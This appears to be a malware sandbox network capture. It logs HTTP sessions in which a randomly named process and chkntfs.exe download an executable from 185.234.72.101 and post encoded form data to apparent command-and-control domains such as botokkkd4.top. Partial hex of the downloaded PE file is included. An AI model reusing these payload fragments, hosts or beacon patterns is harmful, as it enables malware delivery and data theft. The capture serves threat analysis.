Jul 1, 2024 19:25:58.759198904 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:25:58 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	64479	162.0.238.43	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:00.592495918 CEST	455	OUT	GET /vwgn/?FTP84=5ueMAWSl8HCdHaQ4ISZ1AQXhc5gyPvE6M+De+X7bZoAB9UCIok5O2fARcoTif8zUuE/VgVKiECkkSJ85U3W5QFFnp/YrlC4tzeltTmpoeWoUEn2HXZmMuQrIM+LIMwiHVH8SJcx756eW&Lb=GFtlIrHx8T50 HTTP/1.1 Host: www.tufftiff.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:26:01.205409050 CEST	250	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 17:26:01 GMT Server: Apache Vary: Accept-Encoding Content-Length: 76 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 37 75 43 57 64 47 71 32 35 52 61 44 56 36 45 42 49 6e 6b 45 57 6c 50 37 50 73 5a 61 50 50 4d 37 4c 4c 50 55 75 51 75 34 5a 76 67 77 79 46 79 76 72 58 51 74 7a 74 59 65 4c 5a 2b 38 58 35 6a 44 70 56 50 45 76 79 69 37 65 41 3d 3d Data Ascii: 7uCWdGq25RaDV6EBInkEWlP7PsZaPPM7LLPUuQu4ZvgwyFyvrXQtztYeLZ+8X5jDpVPEvyi7eA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	64480	185.234.72.101	80	7640	C:\Windows\SysWOW64\chkntfs.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:05.837033033 CEST	195	OUT	GET /EuOdzX7Ehz6t1H3.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.234.72.101 Connection: Keep-Alive Cache-Control: no-cache
Jul 1, 2024 19:26:06.499651909 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 17:26:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 27 Jun 2024 06:51:42 GMT ETag: "aaa00-61bd9903d370d" Accept-Ranges: bytes Content-Length: 698880 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 85 20 ef 82 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 a0 0a 00 00 08 00 00 00 00 00 00 be bf 0a 00 00 20 00 00 00 c0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c bf 0a 00 4f 00 00 00 00 c0 0a 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0a 00 0c 00 00 00 40 9e 0a 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL 0 @ @lO@p H.text `.rsrc@@.reloc@BH,l@rps}}((*0{orp{so+{ooo&o-{o{orp{so8{orpo o!rp%oo"&{orpo o!rp%oo"&{orpo o!
Jul 1, 2024 19:26:06.499721050 CEST	1236	IN	Data Raw: 72 c5 01 00 70 17 8d 18 00 00 01 25 16 09 18 6f 1b 00 00 0a a2 6f 22 00 00 0a 26 02 7b 04 00 00 04 6f 1f 00 00 0a 72 93 01 00 70 6f 20 00 00 0a 6f 21 00 00 0a 72 d5 01 00 70 17 8d 18 00 00 01 25 16 09 19 6f 1b 00 00 0a a2 6f 22 00 00 0a 26 02 7b Data Ascii: rp%oo"&{orpo o!rp%oo"&{orpo o!rp%oo"&o:{o*0k{orp{so#rCp{o$o%&o8
Jul 1, 2024 19:26:06.499758959 CEST	1236	IN	Data Raw: 20 60 01 00 00 73 3d 00 00 0a 6f 4c 00 00 0a 00 02 7b 04 00 00 04 16 6f 3f 00 00 0a 00 02 7b 04 00 00 04 72 ad 02 00 70 6f 29 00 00 0a 00 02 7b 05 00 00 04 28 36 00 00 0a 6f 37 00 00 0a 00 02 7b 05 00 00 04 6f 38 00 00 0a 02 7b 06 00 00 04 6f 39 Data Ascii: `s=oL{o?{rpo){(6o7{o8{o9{o8{o9{o8{o9{o8{o9{o8{o9{o8{o9{o8{o9{o8{o9
Jul 1, 2024 19:26:06.499798059 CEST	672	IN	Data Raw: 00 04 1f 0b 6f 3f 00 00 0a 00 02 7b 0e 00 00 04 17 6f 51 00 00 0a 00 02 7b 0e 00 00 04 20 47 02 00 00 20 a5 00 00 00 73 3a 00 00 0a 6f 3b 00 00 0a 00 02 7b 0e 00 00 04 72 bd 03 00 70 6f 3c 00 00 0a 00 02 7b 0e 00 00 04 1f 5a 1f 1d 73 3d 00 00 0a Data Ascii: o?{oQ{ G s:o;{rpo<{Zs=o>{o?{rpo){ xs:o;{rpo<{ %s=o>{o?{oQ{ Gxs:o;{r
Jul 1, 2024 19:26:06.499835014 CEST	1236	IN	Data Raw: 02 7b 09 00 00 04 1f 0f 6f 3f 00 00 0a 00 02 7b 09 00 00 04 72 65 04 00 70 6f 29 00 00 0a 00 02 7b 08 00 00 04 17 6f 51 00 00 0a 00 02 7b 08 00 00 04 20 c1 01 00 00 20 d2 00 00 00 73 3a 00 00 0a 6f 3b 00 00 0a 00 02 7b 08 00 00 04 72 77 04 00 70 Data Ascii: {o?{repo){oQ{ s:o;{rwpo<{s=o>{o?{repo){oQ{ s:o;{rpo<{s=o>{o?{rep
Jul 1, 2024 19:26:06.499871016 CEST	1236	IN	Data Raw: 2e 00 00 04 6f 24 00 00 0a 6f 25 00 00 0a 26 06 6f 68 00 00 0a 26 02 7b 18 00 00 04 6f 1e 00 00 0a 00 72 12 07 00 70 72 8f 05 00 70 16 1f 40 28 69 00 00 0a 26 02 28 06 00 00 06 00 2a 13 30 04 00 8c 00 00 00 00 00 00 00 00 02 7b 28 00 00 04 72 48 Data Ascii: .o$o%&oh&{orprp@(i&(0{(rHpo){&rHpo){$rHpo){"rHpo){ rHpo){,rHpo){.rHpo)rJprp@(i&0sok*0
Jul 1, 2024 19:26:06.499907017 CEST	1236	IN	Data Raw: 00 0a 00 02 7b 1b 00 00 04 20 df 00 00 00 1f 31 73 3d 00 00 0a 6f 3e 00 00 0a 00 02 7b 1b 00 00 04 1f 23 6f 3f 00 00 0a 00 02 7b 1b 00 00 04 72 d2 07 00 70 6f 29 00 00 0a 00 02 7b 1b 00 00 04 16 6f 78 00 00 0a 00 02 7b 1b 00 00 04 02 fe 06 0f 00 Data Ascii: { 1s=o>{#o?{rpo){ox{sOoy{({o7{(woY{ s:o;{rpo<{ 1s=o>{"o?((\|rp~}rp(~
Jul 1, 2024 19:26:06.499943972 CEST	1236	IN	Data Raw: 3f 00 00 0a 00 02 7b 23 00 00 04 72 e8 08 00 70 6f 29 00 00 0a 00 02 7b 24 00 00 04 20 07 01 00 00 20 49 01 00 00 73 3a 00 00 0a 6f 3b 00 00 0a 00 02 7b 24 00 00 04 72 fa 08 00 70 6f 3c 00 00 0a 00 02 7b 24 00 00 04 20 93 00 00 00 1f 22 73 3d 00 Data Ascii: ?{#rpo){$ Is:o;{$rpo<{$ "s=o>{$o?{%oQ{%(oY{% s:o;{%rpo<{%ns=o>{%o?{%rpo){& I
Jul 1, 2024 19:26:06.499979019 CEST	1236	IN	Data Raw: 00 00 20 c6 00 00 00 73 3a 00 00 0a 6f 3b 00 00 0a 00 02 7b 2e 00 00 04 72 a8 09 00 70 6f 3c 00 00 0a 00 02 7b 2e 00 00 04 20 2c 01 00 00 1f 22 73 3d 00 00 0a 6f 3e 00 00 0a 00 02 7b 2e 00 00 04 1f 29 6f 3f 00 00 0a 00 02 7b 2f 00 00 04 17 6f 51 Data Ascii: s:o;{.rpo<{. ,"s=o>{.)o?{/oQ{/(oY{/ < s:o;{/ripo<{/ s=o>{/(o?{/rpo){0(o7{0(woY{0
Jul 1, 2024 19:26:06.500016928 CEST	1236	IN	Data Raw: 2c 22 00 72 9a 0a 00 70 d0 06 00 00 02 28 98 00 00 0a 6f 99 00 00 0a 73 9a 00 00 0a 0b 07 80 33 00 00 04 00 7e 33 00 00 04 0c 2b 00 08 2a 00 00 00 13 30 01 00 0b 00 00 00 0a 00 00 11 00 7e 34 00 00 04 0a 2b 00 06 2a 22 00 02 80 34 00 00 04 2a 13 Data Ascii: ,"rp(os3~3+0~4+"40!(rp~4ot0+0~5+"(Vs (t5"({6"}6{7"}7{8"}8
Jul 1, 2024 19:26:06.505762100 CEST	1236	IN	Data Raw: 00 0a 6f 3e 00 00 0a 00 02 7b 48 00 00 04 19 6f 3f 00 00 0a 00 02 7b 48 00 00 04 02 fe 06 45 00 00 06 73 a7 00 00 0a 6f a8 00 00 0a 00 02 7b 49 00 00 04 20 a7 00 00 00 20 ce 00 00 00 73 3a 00 00 0a 6f 3b 00 00 0a 00 02 7b 49 00 00 04 72 b7 0c 00 Data Ascii: o>{Ho?{HEso{I s:o;{Irpo<{Iy&s=o>{Io?{Irpo){Iox{ICsOoy{JoQ{Jrup"@AsoW{J(oY{J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	64481	43.198.80.127	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:11.611465931 CEST	719	OUT	POST /i6sl/ HTTP/1.1 Host: www.botokkkd4.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.botokkkd4.top Referer: http://www.botokkkd4.top/i6sl/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 6e 75 45 6e 46 6c 37 49 6c 53 35 54 43 77 4d 34 36 42 64 71 43 68 58 68 6a 67 4c 4d 31 5a 72 69 52 54 79 72 38 45 4b 77 4c 47 42 36 65 6f 66 73 58 36 54 43 4b 77 6b 6c 6f 75 2b 44 62 4a 6b 4f 39 64 71 6d 4e 55 52 64 33 58 7a 55 47 71 72 62 4b 6d 6f 48 59 4a 43 69 67 6d 2b 68 4c 52 4d 66 2f 65 46 34 65 53 30 6c 48 6b 50 4e 46 4c 57 4d 32 78 57 57 6f 61 6a 61 74 6a 73 58 4a 54 4c 79 46 59 4f 66 67 73 61 4a 6e 53 6b 32 2f 59 2f 2f 4c 30 42 5a 63 6d 2b 33 4c 4e 48 35 57 30 42 4b 67 36 32 31 52 6a 51 56 2b 43 2b 30 74 52 79 79 70 66 2b 58 79 78 51 70 61 32 7a 4e 36 58 56 76 4e 46 51 4b 57 30 79 4a 4e 68 36 31 43 61 67 4c 58 67 3d 3d Data Ascii: FTP84=nuEnFl7IlS5TCwM46BdqChXhjgLM1ZriRTyr8EKwLGB6eofsX6TCKwklou+DbJkO9dqmNURd3XzUGqrbKmoHYJCigm+hLRMf/eF4eS0lHkPNFLWM2xWWoajatjsXJTLyFYOfgsaJnSk2/Y//L0BZcm+3LNH5W0BKg621RjQV+C+0tRyypf+XyxQpa2zN6XVvNFQKW0yJNh61CagLXg==
Jul 1, 2024 19:26:12.484647036 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Mon, 01 Jul 2024 17:26:12 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Jul 1, 2024 19:26:12.484669924 CEST	189	IN	Data Raw: 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 Data Ascii: ry not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	64482	43.198.80.127	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:14.148614883 CEST	739	OUT	POST /i6sl/ HTTP/1.1 Host: www.botokkkd4.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.botokkkd4.top Referer: http://www.botokkkd4.top/i6sl/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 6e 75 45 6e 46 6c 37 49 6c 53 35 54 51 6a 45 34 38 6d 78 71 44 42 58 69 76 41 4c 4d 2f 35 72 6d 52 54 4f 72 38 46 4f 67 4d 77 52 36 66 4d 54 73 57 37 54 43 4c 77 6b 6c 67 4f 2b 47 55 70 6b 52 39 64 6d 45 4e 57 46 64 33 58 50 55 47 72 62 62 4b 78 30 47 5a 5a 43 38 6f 47 2b 6a 55 68 4d 66 2f 65 46 34 65 53 4a 41 48 6b 48 4e 46 36 6d 4d 35 30 69 56 67 36 6a 62 6c 44 73 58 65 44 4b 35 46 59 4f 39 67 70 7a 55 6e 51 63 32 2f 5a 50 2f 4c 6c 42 61 54 6d 2b 78 55 64 48 75 5a 6b 4e 45 36 59 6a 58 59 30 68 4b 2f 42 43 67 6f 6e 76 51 7a 39 79 37 73 67 6f 53 65 30 58 37 74 78 49 61 50 45 55 53 62 57 47 6f 53 57 66 66 50 49 42 50 42 55 30 77 66 6f 41 31 78 48 34 69 4e 79 37 57 6b 4b 61 42 69 64 55 3d Data Ascii: FTP84=nuEnFl7IlS5TQjE48mxqDBXivALM/5rmRTOr8FOgMwR6fMTsW7TCLwklgO+GUpkR9dmENWFd3XPUGrbbKx0GZZC8oG+jUhMf/eF4eSJAHkHNF6mM50iVg6jblDsXeDK5FYO9gpzUnQc2/ZP/LlBaTm+xUdHuZkNE6YjXY0hK/BCgonvQz9y7sgoSe0X7txIaPEUSbWGoSWffPIBPBU0wfoA1xH4iNy7WkKaBidU=
Jul 1, 2024 19:26:15.038206100 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Mon, 01 Jul 2024 17:26:15 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Jul 1, 2024 19:26:15.038253069 CEST	189	IN	Data Raw: 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 Data Ascii: ry not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	64483	43.198.80.127	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:16.690655947 CEST	1752	OUT	POST /i6sl/ HTTP/1.1 Host: www.botokkkd4.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.botokkkd4.top Referer: http://www.botokkkd4.top/i6sl/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 6e 75 45 6e 46 6c 37 49 6c 53 35 54 51 6a 45 34 38 6d 78 71 44 42 58 69 76 41 4c 4d 2f 35 72 6d 52 54 4f 72 38 46 4f 67 4d 77 5a 36 65 35 50 73 57 63 48 43 4d 77 6b 6c 71 75 2b 48 55 70 6c 4e 39 63 4f 41 4e 57 4a 53 33 52 44 55 55 5a 54 62 66 7a 63 47 58 5a 43 38 6b 6d 2b 67 4c 52 4d 47 2f 61 5a 30 65 57 70 41 48 6b 48 4e 46 35 2b 4d 2b 68 57 56 6d 36 6a 61 74 6a 73 4c 4a 54 4c 65 46 63 69 48 67 70 32 6a 6e 67 38 32 2f 35 66 2f 4f 58 70 61 61 6d 2b 4a 56 64 47 72 5a 6b 41 47 36 59 2b 37 59 78 63 68 2f 43 53 67 70 43 79 79 6a 4e 2b 37 35 47 6f 4e 66 57 47 5a 36 78 59 53 46 44 34 35 55 58 69 38 52 6d 76 44 44 4f 6c 69 4d 6c 4a 4e 49 4a 59 61 39 6a 64 78 44 56 75 6b 38 4b 36 78 67 64 55 4a 58 77 4c 4f 67 4f 5a 63 66 61 74 75 31 76 42 48 68 2b 6a 37 76 71 6a 4d 39 57 58 5a 4a 73 7a 52 61 70 69 4e 53 39 54 45 65 66 50 42 4d 62 56 79 73 5a 65 4d 44 33 6d 72 70 76 41 6b 61 46 66 35 76 48 76 6b 66 74 4f 37 78 4e 4b 71 2b 69 33 6d 74 73 55 72 56 51 4f 41 62 74 31 64 37 4b 69 64 46 45 6f 5a [TRUNCATED] Data Ascii: FTP84=nuEnFl7IlS5TQjE48mxqDBXivALM/5rmRTOr8FOgMwZ6e5PsWcHCMwklqu+HUplN9cOANWJS3RDUUZTbfzcGXZC8km+gLRMG/aZ0eWpAHkHNF5+M+hWVm6jatjsLJTLeFciHgp2jng82/5f/OXpaam+JVdGrZkAG6Y+7Yxch/CSgpCyyjN+75GoNfWGZ6xYSFD45UXi8RmvDDOliMlJNIJYa9jdxDVuk8K6xgdUJXwLOgOZcfatu1vBHh+j7vqjM9WXZJszRapiNS9TEefPBMbVysZeMD3mrpvAkaFf5vHvkftO7xNKq+i3mtsUrVQOAbt1d7KidFEoZ8ibK3Seyaj+7CAJDToDxJnTI2o8Rtm0kTmZtXDhfNkzobjVyoO0BGiUdkI5EK0rlVGOqYpyIA5l9kjHYlNeQekJfU8xyOtxnBM24FQaPJdKH3E1tu0ZRpZVI7vJ5QgFDhivQyjq+SVTDM6rSRsm94o//It4ZQzHGJJe+Mo2hs5XEw3uFbenVu9EtexW+5tBGQagZD6TkZtEG4hfZhsxFA1nBp0EANWwq5eK1VHf2nDGWhCO0ewoek5zLnyRoJjc8vlWu645XFquCqNEoYx3VKg01xGpuP3+LMZ8JhAq7U7FiUOrH10m+UAVVRnXK1E2JpzH81WRZji0IwmHMmekxV9tGbunLZH3hsAraB/9u2Y+STx1zndLTHySJE4nSjObN4SjNDsKQHU0u5zAZucZxLOXIbeuZAlu7VGcy6S/yB5qTzG5uyM91mTg38rPTKu4XoNy7V+mbZiiZqCX1Q34omk+28ycbQEhYiLZcF4R44ULi+oVYert397ZptAPCUZTYlTIuCjdU6WsiLVt/BWhEMwk2ebcX3A8KZqedsxv5AuZqnSt+sH2aKQQmB9Hf4tsh6AYThfTIXUAgEReAoNFB2CrbpwpHAEANMgvHsCW+2QJVknT/29UYCEObFawQf6D91pcWd5bT1LRIrgxj0uX3g8Awp2/Hf9levt [TRUNCATED]
Jul 1, 2024 19:26:17.580858946 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Mon, 01 Jul 2024 17:26:17 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 